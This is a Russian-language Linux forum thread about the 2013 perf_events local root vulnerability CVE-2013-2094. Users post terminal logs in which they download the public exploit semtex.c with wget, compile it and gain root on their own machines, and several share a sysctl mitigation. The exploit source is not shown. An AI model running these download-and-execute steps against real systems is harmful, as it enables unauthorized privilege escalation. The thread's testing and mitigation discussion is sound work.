LinuxForum.Fans
Тема

В ядре Linux выявлена локальная 0-day уязвимость

Автор: Lupo_Alberto 20 сообщений 4738 просмотров
#320601

В ядре Linux обнаружена ранее неизвестная 0-day уязвимость (CVE-2013-2094), позволяющая получить root-доступ произвольному пользователю. Проблему усложняет то, что ошибка существовала на протяжении последних 2-3 лет и присутствует во всех ядрах, начиная с 2.6.37 и включая 3.8.8 (ядра 3.9.x проблеме не подвержены).

Уязвимость вызвана ошибкой в коде подсистемы PERF_EVENTS, которая должна быть активирована для успешной эксплуатации уязвимости (в большинстве дистрибутивов ядро собрано с поддержкой PERF_EVENTS). Пользователи RHEL 6 и CentOS 6, несмотря на использование ядра 2.6.32, не застрахованы от данной ошибки - проблемный код был успешно бэкпортирван Red Hat в пакет с ядром, поставляемом в RHEL.

Патч с устранением проблемы был принят в состав ядра 3.8.9 в апреле, без уведомления о том, что он связан с устранением уязвимости. В дистрибутивах уязвимость пока остаётся неисправленной. Статус выхода исправлений для популярных систем можно отследить на следующих страницах: Gentoo, Mandriva, openSUSE, CentOS, Fedora, RHEL, Ubuntu, Debian.

Эксплоит уже доступен публично:

text

   bash-4.1# gcc -O2 exploit.c
   bash-4.1# chmod 777 a.out
   bash-4.1# su nobody -s /bin/bash
   bash-4.1$ id
   uid=99(nobody) gid=99(nobody) groups=99(nobody)

bash-4.1$ cd / bash-4.1$ ls a.out bin boot dev etc exploit.c home lib lib64 media.... bash-4.1$ ./a.out 2.6.37-3.x x86_64

sh-4.1# id uid=0(root) gid=0(root) groups=0(root),99(nobody)

Источник »
Главная ссылка к новости »

#320606

у кого-нить взлетел?

#320615
"Fat-Zer" написал:
у кого-нить взлетел?

Я не пробовал :D

#320617

нет

#320626

а у меня завелось под виртуалкой =))
а на железке в панику сваливается .>_<

#320644
text
$ gcc -O2 semtex.c 
semtex.c: В функции «fuck»:
semtex.c:30:36: предупреждение: приведение указателя к целому другого размера [-Wpointer-to-int-cast]
semtex.c:30:22: предупреждение: приведение к типу указателя от целого другого размера [-Wint-to-pointer-cast]
semtex.c:31:20: предупреждение: приведение указателя к целому другого размера [-Wpointer-to-int-cast]
semtex.c:37:17: предупреждение: приведение к типу указателя от целого другого размера [-Wint-to-pointer-cast]
semtex.c: В функции «main»:
semtex.c:74:2: предупреждение: приведение к типу указателя от целого другого размера [-Wint-to-pointer-cast]
semtex.c:74:2: предупреждение: приведение к типу указателя от целого другого размера [-Wint-to-pointer-cast]
~/downloads$ chmod 777 a.out 
~/downloads$ a.out
-bash: ./a.out: Отказано в доступе
~/downloads$ sh a.out
a.out: a.out: не могу запустить бинарный файл
~/downloads$ cp a.out ~
~/downloads$ cd
~$ ./a.out 
a.out: semtex.c:51: sheep: Assertion `!close(fd)' failed.
Аварийный останов
~$ 

На ФС с noexec фигу, от пользователя из домашнего каталога - падает. Хороший эксплоит :)

#320646
text
drhouse123@gentoo ~ $ gcc -O2 -o semtex semtex.c 
drhouse123@gentoo ~ $ ./semtex 2.6.37-3.x x86_64
2.6.37-3.x x86_64
sd@fucksheep.org 2010
gentoo ~ # whoami
root
text
Linux gentoo 3.7.10-gentoo-r1 #1 SMP Fri May 10 05:48:51 ALMT 2013 x86_64 Pentium(R) Dual-Core CPU E6500 @ 2.93GHz GenuineIntel GNU/Linux
text
zcat /proc/config.gz | grep PERF_EVENTS
CONFIG_HAVE_PERF_EVENTS=y
CONFIG_PERF_EVENTS=y
CONFIG_HAVE_PERF_EVENTS_NMI=y
#320650
"yars⇓" написал:
semtex.c:74:2: предупреждение: приведение к типу указателя от целого другого размера [-Wint-to-pointer-cast]
semtex.c:74:2: предупреждение: приведение к типу указателя от целого другого размера [-Wint-to-pointer-cast]
багу подвержен только amd64

"yars⇓" написал:
На ФС с noexec фигу

ССЗБ

#320672
"Fat-Zer" написал:
багу подвержен только amd64

*YAHOO*

"Fat-Zer" написал:
ССЗБ

Почему же, noexec - это нормальная мера предосторожности ;)

#320690
"yars⇓" написал:
Почему же, noexec - это нормальная мера предосторожности

с ним даже эксплойты не работают...

на самом деле, безопасность только мимая т.к., например, с /var/tmp почти всегда можно что-то запустить...

#320691
"Fat-Zer" написал:
с ним даже эксплойты не работают...

Да, я в курсе, что

text
sh script

никто не отменял, но и вреда от этой опции тоже нет, а вот польза - таки есть.

#320694

Вот и моя «грустная» история...

text
lupo@gentoo-home ~ % uname -r
3.7.10-gentoo-r1a
lupo@gentoo-home ~ % cd /tmp
lupo@gentoo-home /tmp % wget http://dl.packetstormsecurity.net/1305-exploits/semtex.c
--2013-05-15 21:59:17--  http://dl.packetstormsecurity.net/1305-exploits/semtex.c
Распознаётся dl.packetstormsecurity.net... 198.84.60.200
Подключение к dl.packetstormsecurity.net|198.84.60.200|:80... соединение установлено.
HTTP-запрос отправлен. Ожидание ответа... 200 OK
Длина: 2437 (2,4K) [text/x-csrc]
Сохранение в: «semtex.c»

100%[===================================================================================================>] 2 437 --.-K/s за 0,001s

2013-05-15 21:59:17 (1,68 MB/s) - «semtex.c» сохранён [2437/2437]

lupo@gentoo-home /tmp % gcc -O2 semtex.c lupo@gentoo-home /tmp % ./a.out 2.6.37-3.x x86_64 sd@fucksheep.org 2010 gentoo-home tmp # id uid=0(root) gid=0(root) группы=0(root),10(wheel),18(audio),27(video),35(games),85(usb),100(users),121(davfs2),250(portage),1000(lupo)

...со «счастливым» концом

text

gentoo-home tmp # sysctl -w kernel.perf_event_paranoid=2                                                                                     
kernel.perf_event_paranoid = 2
gentoo-home tmp # sysctl -w kernel.perf_event_max_sample_rate=-1                                                                             
kernel.perf_event_max_sample_rate = -1
gentoo-home tmp # exit
logout
lupo@gentoo-home /tmp % ./a.out
a.out: semtex.c:51: sheep: Assertion `!close(fd)' failed.
[1]    31596 abort      ./a.out
#320697
"yars⇓" написал:
sh script

с бинарником такое не пройдёт... а вот в /var/tmp закинуть его запросто...

#321138
Lupo Alberto написал:
...ошибка... присутствует во всех ядрах, начиная... и включая 3.8.8 (ядра 3.9.x проблеме не подвержены).

Что-то я не пойму откуда такие версии ядер - 3.8.8? У меня Mageia2, после установки всех обновлений ядро стоит 3.4.34 - на данный момент. А уж 3.9.x это вообще откуда? Сейчас вот третья Mageia вышла с ядром 3.8.13...
"ошибка... присутствует во всех ядрах" - это значит что всё? Капут? Уж извините дилетантку:)

#321141
"lightwinter⇓" написал:
Что-то я не пойму откуда такие версии ядер - 3.8.8? У меня Mageia2, после установки всех обновлений ядро стоит 3.4.34 - на данный момент. А уж 3.9.x это вообще откуда? Сейчас вот третья Mageia вышла с ядром 3.8.13...

Кроме Mageia есть и другие дистрибутивы ;)

"lightwinter⇓" написал:
"ошибка... присутствует во всех ядрах" - это значит что всё? Капут?

Так вроде бы всё уже исправлено. Если ядро обновлять лень, можно просто добавить в файл /etc/sysctl.conf :

text

kernel.perf_event_paranoid=2
kernel.perf_event_max_sample_rate=-1

и перегрузиться или выполнить

text

sysctl -p
#321142

OpenSUSE12.2 ядро 3.4.6.2-10(х86-64) (Процессор AMD Athlon 64 3500+) не работает:

text

vvk@linux-enwc:~> wget [url]http://dl.packetstormsecurity.net/1305-exploits/semtex.c[/url]
--2013-05-20 11:10:28--  [url]http://dl.packetstormsecurity.net/1305-exploits/semtex.c[/url]
Распознаётся dl.packetstormsecurity.net (dl.packetstormsecurity.net)... 198.84.60.200
Подключение к dl.packetstormsecurity.net (dl.packetstormsecurity.net)|198.84.60.200|:80... соединение установлено.
HTTP-запрос отправлен. Ожидание ответа... 200 OK
Длина: 2437 (2,4K) [text/x-csrc]
Сохранение в каталог: ««semtex.c»».

100%[================================================================================================>] 2 437 --.-K/s за 0,001s

2013-05-20 11:10:28 (2,24 MB/s) - «semtex.c» saved [2437/2437]

vvk@linux-enwc:~> gcc -O2 semtex.c vvk@linux-enwc:~> ./a.out Убито vvk@linux-enwc:~> uname -a Linux linux-enwc 3.4.6-2.10-desktop #1 SMP PREEMPT Thu Jul 26 09:36:26 UTC 2012 (641c197) x86_64 x86_64 x86_64 GNU/Linux vvk@linux-enwc:~> whoami vvk vvk@linux-enwc:~> id uid=1000(vvk) gid=100(users) группы=100(users),16(dialout),33(video),110(vboxusers) vvk@linux-enwc:~> cat /proc/cpuinfo|grep name model name : AMD Athlon(tm) 64 Processor 3500+ vvk@linux-enwc:~>

#321315

vvk
Так не на всех сборках работает проверьте у вас включено PERF_EVENTS?

text
zgrep CONFIG_PERF_EVENTS /proc/config.gz

А так если обновляться то баг уже не работает, в gentoo еще в апреле добавили патч убирающий данный баг во все версии ядер подверженные багу, в дереве портов.

#321390

Дополнения:

Эксплоит я тестировал на работе на стационарной машине,
Дома на ноутбуке (core i5,) при запуске скомпилированного a.out система
идёт на перезагрузку. На ноутбуке у меня PERF_EVENTS включено.
Для рабочего компьютера вывод по PERF_EVENTS покажу позже.

Вот вывод для ноутбука:

text

vvk@linux-bmx0:~> zgrep CONFIG_PERF_EVENTS /proc/config.gz
CONFIG_PERF_EVENTS=y
vvk@linux-bmx0:~> uname -a
Linux linux-bmx0 3.4.6-2.10-desktop #1 SMP PREEMPT Thu Jul 26 09:36:26 UTC 2012 (641c197) x86_64 x86_64 x86_64 GNU/Linux
vvk@linux-bmx0:~> cat /proc/cpuinfo|grep name
model name      : Intel(R) Core(TM) i5-2410M CPU @ 2.30GHz
model name      : Intel(R) Core(TM) i5-2410M CPU @ 2.30GHz
model name      : Intel(R) Core(TM) i5-2410M CPU @ 2.30GHz
model name      : Intel(R) Core(TM) i5-2410M CPU @ 2.30GHz
vvk@linux-bmx0:~>  
#321391

И вот результат после того как поправил файл /etc/sysctl.conf:

text

wget [url]http://dl.packetstormsecurity.net/1305-exploits/semtex.c[/url]
--2013-05-22 20:35:12--  [url]http://dl.packetstormsecurity.net/1305-exploits/semtex.c[/url]
Распознаётся dl.packetstormsecurity.net (dl.packetstormsecurity.net)... 198.84.60.200
Подключение к dl.packetstormsecurity.net (dl.packetstormsecurity.net)|198.84.60.200|:80... соединение установлено.
HTTP-запрос отправлен. Ожидание ответа... 200 OK
Длина: 2437 (2,4K) [text/x-csrc]
Сохранение в каталог: ««semtex.c»».

100%[=================================================================================>] 2 437 --.-K/s за 0,001s

2013-05-22 20:35:12 (3,87 MB/s) - «semtex.c» saved [2437/2437]

vvk@linux-bmx0:~> gcc -O2 semtex.c vvk@linux-bmx0:~> ./a.out a.out: semtex.c:51: sheep: Assertion `!close(fd)' failed. Аварийный останов vvk@linux-bmx0:~> id uid=1000(vvk) gid=100(users) группы=100(users),16(dialout),33(video),112(vboxusers) vvk@linux-bmx0:~>

Больше не работает никак

#321432

В машине из поста #16, где эксплоит пишет "Убито" PERF_EVENTS тоже включено:

text

vvk@linux-enwc:~> zgrep CONFIG_PERF_EVENTS /proc/config.gz
CONFIG_PERF_EVENTS=y
vvk@linux-enwc:~> 
Войдите или зарегистрируйтесь, чтобы ответить.